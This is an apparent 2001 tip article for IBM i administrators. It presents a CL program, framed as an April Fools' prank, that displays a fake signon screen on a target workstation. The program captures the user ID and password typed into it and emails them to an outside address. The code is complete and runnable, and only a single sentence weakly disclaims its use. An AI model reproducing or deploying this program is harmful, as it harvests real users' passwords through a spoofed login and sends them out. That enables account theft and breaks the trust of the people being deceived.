This little program can be used on April 1st to prank your co-workers. First, determine the name of the Signon screen (DSPSBSD command), and set it in the program. Currently the program points at QDSIGNON.
Then, determine the workstation in which the unlucky person will sign on - this will be the parameer to call the program with.
The program will attempt to send the Signon scren to the workstation, and will retrieve the information typed on the fake sign on screen.
Of course, it is not recommended to capture confidential information that you have no right to see in the first place.
PGM PARM(&DEVNAME) DCLF QDSIGNON DCL VAR(&TEXT) TYPE(*CHAR) LEN(80) MONMSG MSGID(CPF0000) EXEC(GOTO CMDLBL(ERROR)) RTVNETA SYSNAME(&SYSNAME) CHGVAR VAR(&SBSNAME) VALUE('QINTER') CHGVAR VAR(&IN01) VALUE('1') CHGVAR VAR(©RIGHT) VALUE(' (C) ACME + CORPORATION. 1949, 2001.') RETRY: OVRDSPF FILE(QDSIGNON) DEV(&DEVNAME) WAITFILE(32767) PANEL: SNDRCVF RCDFMT(SIGNON) CHGVAR VAR(&TEXT) VALUE('User' *BCAT &USERID + *TCAT ': Pwd' *BCAT &PASSWRD) SNDEMAIL TO('Wile.E@acme.com') + FROM('email@example.com') + SUBJECT('QDSIGNON') + MSG(&TEXT) RETURN ERROR: DLYJOB DLY(10) GOTO CMDLBL(RETRY) ENDPGM
This was first published in June 2001